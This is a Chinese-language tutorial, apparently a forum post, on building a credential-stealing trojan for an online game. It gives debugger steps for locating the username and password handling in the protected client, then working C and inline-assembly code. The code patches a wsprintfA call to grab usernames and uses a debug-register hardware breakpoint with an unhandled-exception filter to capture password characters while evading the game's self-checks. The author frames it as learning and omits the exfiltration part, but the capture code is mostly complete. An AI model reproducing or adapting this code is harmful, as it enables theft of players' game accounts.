注:只是学习,没有任何恶意。下面的分析打了码,而且不完整 :)

上次的文字,抱歉有几点错误。shellexecutehook 并不能实现注入到全局进程。现在木马还是
使用消息钩子和远程线程比较多。-_# 今天遂亲自写了个动手写了个简单盗号木马,其实不能
算,只是验证一些想法和进行学习。

准备工具:
lordpe
od
syser debugger

这个游戏外边加了 tmd, 但不影响我们的分析。运行游戏,使用 lordpe 校正 imagesize, 
然后dump 进程一份,修改入口点 0x1000, 然后 kill 掉输入表,使用 od 打开进行静态分
析(个人习惯,呵呵)。

我们的目标获取用户名和密码,首先的任务要找到游戏登录验证地方,回忆一下怎么做动态注
册机和游戏作弊程序,“搜索输入数据,定位输入数据处理代码”。

打开运行 syser, 然后进入游戏登录窗口, 在用户名中输入 dummys,ctrl+f12 调出 syser
调试窗口。我们要找到 dummys 这个输入
在控制台下输入

>addr game          // 切换到游戏的进程空间
>s 0 80000000 "dummys"    // 限定地址其实可以更少一点,我习惯这样了,呵呵。

等待几秒钟后,如果输入正确,就可以在数据窗口可以看到这个串了。一般会有多个相同
的串出现,你可以输入 
>s
搜索下一个出现的 dummys

来寻找是谁问这个串的,在控制台下输入
>bpm xxxxxxxx        // xxxxxxxx 即是 dummys 地址

ctrl+12 切出 syser, 紧跟着 syser 退出后再次弹出。
哈哈,已经断了下了,注意看看访问是不是游戏代码访问的。

我这边调试时断在 00479E78, 你的断下地址可能不同,其实这里不用管
他具体。只要确认这段代码的参数或上下文经常和我们要的数据发生关系
即可。

00479E75   .  52            push    edx
00479E76   .  51            push    ecx
00479E77   .  50            push    eax
00479E78   .  8906          mov     dword ptr [esi], eax  // eax --> Name
00479E7A   .  90            nop
00479E7B      E8 90078A77   call    77D1A610        // wsprintfA
00479E80   ?  8B0E          mov     ecx, dword ptr [esi]
00479E82   .  8A11          mov     dl, byte ptr [ecx]
00479E84   .  33C0          xor     eax, eax
00479E86   .  84D2          test    dl, dl
00479E88   .  74 0F         je      short 00479E99
00479E8A   .  8BD1          mov     edx, ecx

好,在控制台下输入
>bd *          // 禁用以前的断点
>bp 00479E7B x      // 下硬件执行断点

然后 ctrl + f12 来回切换观察,这个函数的参数是不是自己输入的 dummys,
经过几次后,可以确认这段代码的利用价值还可以。(其实这段代码是公用函数,
第一次写完程序 debugout 第一个参数时,输出很多垃圾,但是仔细观察一下,
当dummys 出现时第二个参数是 %s, 并且第一个参数即用户名只能是英文, 最
后的可以成功过滤出用户名,其实 patch 这处代码还有一个好处就是没有自
校验,呵呵)

接着我们想想该获取处理密码的地方了,通过上面的学习你是不是想直接搜索
密码,类似
>s 0 80000000 "mypass"
>...

呵呵,最终你将得到的是 "Couldn't foundin range!"。注意一下你就发现
你输入的密码都被转化为 *** 显示在屏幕上,oh yeah, 我们就搜索 ***,
在控制台下输入

>s 0 80000000 "******"  // 多输入长度的密码,匹配准确一点

等待一会,你将在数据发现 ****** 已经待在那里了。紧接着的操作和用户名的
处理一下,设置一个硬件断点

>bpm yyyyyyyy      // 输入星星的地址加上长度,新的星星将存放在那里

ctrl+f12 运行,马上又断下来。
我这里断在了

0047898D  |.  8BF2          mov     esi, edx          // src 星星长度
0047898F  |.  8D0C28        lea     ecx, dword ptr [eax+ebp]
00478992  |.  2BFD          sub     edi, ebp
00478994  |.  03C6          add     eax, esi
00478996  |>  8A140F        /mov     dl, byte ptr [edi+ecx]    // src 星星
00478999  |.  8811          |mov     byte ptr [ecx], dl      // dst 星星
0047899B  |.  41            |inc     ecx
0047899C  |.  4E            |dec     esi
0047899D  |.^ 75 F7         \jnz     short 00478996

在这里你并没有看到明文,但是发现了什么有用的信息了吗。那就是星星的长度。
接着就是寻找 src 星星长度是哪里来的,一个接一个硬件断点。你将发现一个 
刚刚输入的密码字符。我这里是

004261B5  |. /7E 20         jle     short 004261D7
004261B7  |. |8B8B D0100000 mov     ecx, dword ptr [ebx+10D0]
004261BD  |. |8D49 00       lea     ecx, dword ptr [ecx]
004261C0  |> |80BC04 900000>/cmp     byte ptr [esp+eax+90], 20  // src --> password char
004261C8  |. |7D 01         |jge     short 004261CB
004261CA  |. |40            |inc     eax
004261CB  |> |41            |inc     ecx
004261CC  |. |40            |inc     eax
004261CD  |. |3BC6          |cmp     eax, esi          // esi --> password length
004261CF  |.^|7C EF         \jl      short 004261C0
004261D1  |. |898B D0100000 mov     dword ptr [ebx+10D0], ecx
004261D7  |> \8BBB F0110000 mov     edi, dword ptr [ebx+11F0]


所有的分析都结束了,该怎么利用这些东西。用户名的处理部分,直接 patch 掉那段代码即可,
但是密码处理,在调试时发现会有自校验, 如果 patch 肯定会被发现的。是 xx 自校验还是
另寻方法,
>bpm 004261B5  // 设置一个硬件断点, 寻找自校验代码处理地址
运行,马上断下来。你将看到一个小循环,正在校验这段代码,我第一此选择 xx 这个自校验, 
但是没过多久你就会发现还有一层自校验在校验这段代码,靠! 算了。不知道何时是个头

该怎么办?

从上倒下我们都在使用硬件断点,而且都很有效。为什么 tmd 没有清 dr 呢?
如果我可以设置硬件断点在 004261C0 处,就不可以了吗。很黄很暴力 :)
就这样,首先检查这段密码处理属于哪个线程,通过在调试器下修改他的代码,确认
是主线程。下面只贴部分代码:)

///////////////////////////////////////////////////////////////////////////////////////
// patch 密码处理部分
BOOL Patch_4261C0()
{
/*
004261B5  |. /7E 20         jle     short 004261D7
004261B7  |. |8B8B D0100000 mov     ecx, dword ptr [ebx+10D0]
004261BD  |. |8D49 00       lea     ecx, dword ptr [ecx]
004261C0  |> |80BC04 900000>/cmp     byte ptr [esp+eax+90], 20  // src --> password
004261C8  |. |7D 01         |jge     short 004261CB
004261CA  |. |40            |inc     eax
004261CB  |> |41            |inc     ecx
004261CC  |. |40            |inc     eax
004261CD  |. |3BC6          |cmp     eax, esi          // esi --> password length
004261CF  |.^|7C EF         \jl      short 004261C0
004261D1  |. |898B D0100000 mov     dword ptr [ebx+10D0], ecx
004261D7  |> \8BBB F0110000 mov     edi, dword ptr [ebx+11F0]
*/
  // xy2 会循环的校验这段代码,所以不能直接 patch
  // 这里利用 调试 寄存器
  //
  // 自校验代码在 0x45e170, 这段自校验代码时有效时无效
  // ebx --> 0x426040 校验地址
  // edi --> 0x200  校验长度
  // 校验 0x45e170 的校验代码在 74ba2e, -_##
  
  __xy2_patch_Pwd = SearchSign((LPBYTE)0x420000, 0x10000, "8D490080BC0490000000207D014041403BC67CEF898BD0100000");
  if ( __xy2_patch_Pwd != NULL )
  {
    LOGOUT("Patch_4261C0: 成功定位特征地址 %08X!\n", __xy2_patch_Pwd);

    HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, __dwMainThreadId);
    if ( hThread != NULL )
    {

      LOGOUT("Patch_4261C0: OpenThread 成功\n");
      
      // 设置未处理异常过滤函数
      __OrgUnhandledExceptionFilter = SetUnhandledExceptionFilter(MyUnhandledExceptionFilter); 
      
      LOGOUT("Patch_4261C0: __OrgUnhandledExceptionFilter = %08X\n", __OrgUnhandledExceptionFilter);
      
       // 下“硬件断点”
      
      CONTEXT ct;
      
      memset(&ct, 0, sizeof (ct));
      
      ct.ContextFlags = CONTEXT86_DEBUG_REGISTERS;
      ct.Dr1 = (DWORD)__xy2_patch_Pwd;
      ct.Dr7 = 0x405;
      SetThreadContext(hThread, &ct);
      
      CloseHandle(hThread);

      return TRUE;
    }
  }
  else
  {
    LOGOUT("Patch_479E7B: 定位特征地址失败!\n");
  }
  
  return FALSE;
}

// 未处理异常过滤
LONG
WINAPI
MyUnhandledExceptionFilter(
    IN struct _EXCEPTION_POINTERS *ExceptionInfo
    )
{
  LOGOUT(
    "MyUnhandledExceptionFilter: 捕获一个未处理异常 CODE = %08X, ADDR = %08X!\n", 
    ExceptionInfo->ExceptionRecord->ExceptionCode,
    ExceptionInfo->ExceptionRecord->ExceptionAddress
    );

  if ( 
    ExceptionInfo->ExceptionRecord->ExceptionCode == 0x80000004 &&
    ExceptionInfo->ExceptionRecord->ExceptionAddress == __xy2_patch_Pwd
    )
  {
//    004261BD  |. |8D49 00       lea     ecx, dword ptr [ecx]
//    004261C0  |> /80BC04 900000>/cmp     byte ptr [esp+eax+90], 20
    
    CHAR c = *(PCHAR)(ExceptionInfo->ContextRecord->Esp + 
      ExceptionInfo->ContextRecord->Eax + 0x90); // 取出新的输入字符

    ExceptionInfo->ContextRecord->Eip += 3; // 下调指令

    static int i = 0;
    SavePassword(i++, c); // 保存密码
    
    return EXCEPTION_CONTINUE_EXECUTION;
  }
  
  return __OrgUnhandledExceptionFilter(ExceptionInfo);
}

///////////////////////////////////////////////////////////////////////////////////////
// patch 用户名处理部分
void NAKED Proxy_479E7B()
{
  __asm
  {
    mov    eax, dword ptr [esp + 8]
    cmp    dword ptr [eax], 's%'
    jnz    __ret
    mov    ecx, dword ptr [esp + 4]
    call  SaveName
__ret:
    mov    eax, wvsprintfA
    jmp    eax
  }
}

BOOL Patch_479E7B()
{
/*
00479E75   .  52            push    edx
00479E76   .  51            push    ecx
00479E77   .  50            push    eax
00479E78   .  8906          mov     dword ptr [esi], eax  // eax --> Name
00479E7A   .  90            nop
00479E7B      E8 90078A77   call    77D1A610 // wsprintfA
00479E80   ?  8B0E          mov     ecx, dword ptr [esi]
00479E82   .  8A11          mov     dl, byte ptr [ecx]
00479E84   .  33C0          xor     eax, eax
00479E86   .  84D2          test    dl, dl
00479E88   .  74 0F         je      short 00479E99
00479E8A   .  8BD1          mov     edx, ecx
*/
  __xy2_patch_Name = SearchSign((LPBYTE)0x00470000, 0x10000, "525150890690E8????????8B0E8A11");
  if ( __xy2_patch_Name != NULL )
  {
    __xy2_patch_Name += 7;

    LOGOUT("Patch_479E7B: 成功定位特征地址 %08X!\n", __xy2_patch_Name);
    
    // 修改call  77D1A610 为 call Proxy_479E7B
    DWORD dwOffset = (DWORD)Proxy_479E7B - (DWORD)__xy2_patch_Name - 4;
    DWORD dwBytes = WriteMemory(__xy2_patch_Name, &dwOffset, 4);
    if ( dwBytes == 4 )
    {
      LOGOUT("Patch_479E7B: 成功 Patch!\n");
      return TRUE;
    }
  }
  else
  {
    LOGOUT("Patch_479E7B: 定位特征地址失败!\n");
  }

  return FALSE;
}

到此结束。
最后感谢一下 aker & forgot.

ps: 禁止一切对代码风格的评论, 尤其某某